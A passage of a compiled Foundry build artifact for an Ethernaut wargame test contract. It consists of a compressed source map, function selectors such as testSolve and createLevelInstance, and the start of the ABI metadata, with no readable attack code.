:-1:-1;;1862:60:147;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1862:60:147;;;;;1786:146;;1766:17;;-1:-1:-1;1829:30:147;;-1:-1:-1;1786:146:147;;;;:::i;:::-;;;;-1:-1:-1;;1786:146:147;;;;;;;;;;;;;;-1:-1:-1;;;;;1786:146:147;;;;;;;;;;;;1985:8;;1977:28;;1786:146;;-1:-1:-1;;;;;;;;;;1985:8:147;;;;1977:28;;1786:146;;1977:28;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1942:63;;;;2020:7;2015:60;;2043:21;2060:3;2043:16;:21::i;:::-;2096:8;;:19;;;;;;;;2084:32;;-1:-1:-1;;;;;2096:8:147;;:17;;:19;;;;;;;;;;;;;;:8;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2095:20;2084:10;:32::i;:::-;2127:352;;;;;;;;;;;;;;;;;2514:8;;2506:28;;2127:352;;-1:-1:-1;;;;;;2514:8:147;;2506:28;;2127:352;;2506:28;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2489:45:147;;-1:-1:-1;2489:45:147;-1:-1:-1;2489:45:147;2544:60;;2572:21;2589:3;2572:16;:21::i;:::-;2645:9;;2664:8;;2614:61;;2625:49;;-1:-1:-1;;;;;2645:9:147;;;;2664:8;2625:19;:49::i;:::-;2614:10;:61::i;:::-;1724:958;;;1696:986::o;2592:140:5:-;2640:34;2707:18;2686:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:325:154;2098:9;2119:19;2141:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2119:37;;2166:16;2227;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2246:5;2261:9;2204:68;;;;;:::i;:::-;-1:-1:-1;;;;;19535:15:155;;;19517:34;;19587:15;;;19582:2;19567:18;;19560:43;19639:15;;;19634:2;19619:18;;19612:43;19444:2;19429:18;2204:68:154;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2284:39:154;;;;;-1:-1:-1;;;;;865:55:155;;;2284:39:154;;;847:74:155;2166:108:154;;-1:-1:-1;2284:23:154;;;;;;820:18:155;;2284:39:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2340:9:154;;2031:325;-1:-1:-1;;;;;;2031:325:154:o;3069:146:5:-;3117:40;3190:18;3169:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1504:137:147;1555:6;;1541:21;;-1:-1:-1;;;1541:21:147;;-1:-1:-1;;;;;1555:6:147;;;1541:21;;;847:74:155;1541:13:147;;;;820:18:155;;1541:21:147;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1604:9:147;;1623:8;;1572:62;;-1:-1:-1;1584:49:147;;-1:-1:-1;;;;;;1604:9:147;;;;1623:8;1584:19;:49::i;:::-;1572:11;:62::i;:::-;1504:137::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;20620:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20593:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1283:124:14:-;1342:58;1396:2;1358:41;;;;;;;;:::i;:::-;;;;-1:-1:-1;;1358:41:14;;;;;;;;;;;;;;-1:-1:-1;;;;;1358:41:14;;;;;1342:15;:58::i;:::-;1283:124;:::o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;181:376:14;275:14;;131:42;448:2;435:16;;251:21;;275:14;435:16;131:42;484:5;473:68;464:77;;401:150;;181:376;:::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;18680:287::-;18809:3;18847:6;18841:13;18863:66;18922:6;18917:3;18910:4;18902:6;18898:17;18863:66;:::i;:::-;18945:16;;;;;18680:287;-1:-1:-1;;18680:287:155:o;18972:277::-;19039:6;19092:2;19080:9;19071:7;19067:23;19063:32;19060:52;;;19108:1;19105;19098:12;19060:52;19140:9;19134:16;19193:5;19186:13;19179:21;19172:5;19169:32;19159:60;;19215:1;19212;19205:12;20155:184;20225:6;20278:2;20266:9;20257:7;20253:23;20249:32;20246:52;;;20294:1;20291;20284:12;20246:52;-1:-1:-1;20317:16:155;;20155:184;-1:-1:-1;20155:184:155:o;20344:125::-;20409:9;;;20430:10;;;20427:36;;;20443:18;;:::i;20656:383::-;20853:2;20842:9;20835:21;20816:4;20879:45;20920:2;20909:9;20905:18;20897:6;20879:45;:::i;:::-;20972:9;20964:6;20960:22;20955:2;20944:9;20940:18;20933:50;21000:33;21026:6;21018;21000:33;:::i;:::-;20992:41;20656:383;-1:-1:-1;;;;;20656:383:155:o;21044:335::-;21123:6;21176:2;21164:9;21155:7;21151:23;21147:32;21144:52;;;21192:1;21189;21182:12;21144:52;21225:9;21219:16;21258:18;21250:6;21247:30;21244:50;;;21290:1;21287;21280:12;21244:50;21313:60;21365:7;21356:6;21345:9;21341:22;21313:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct 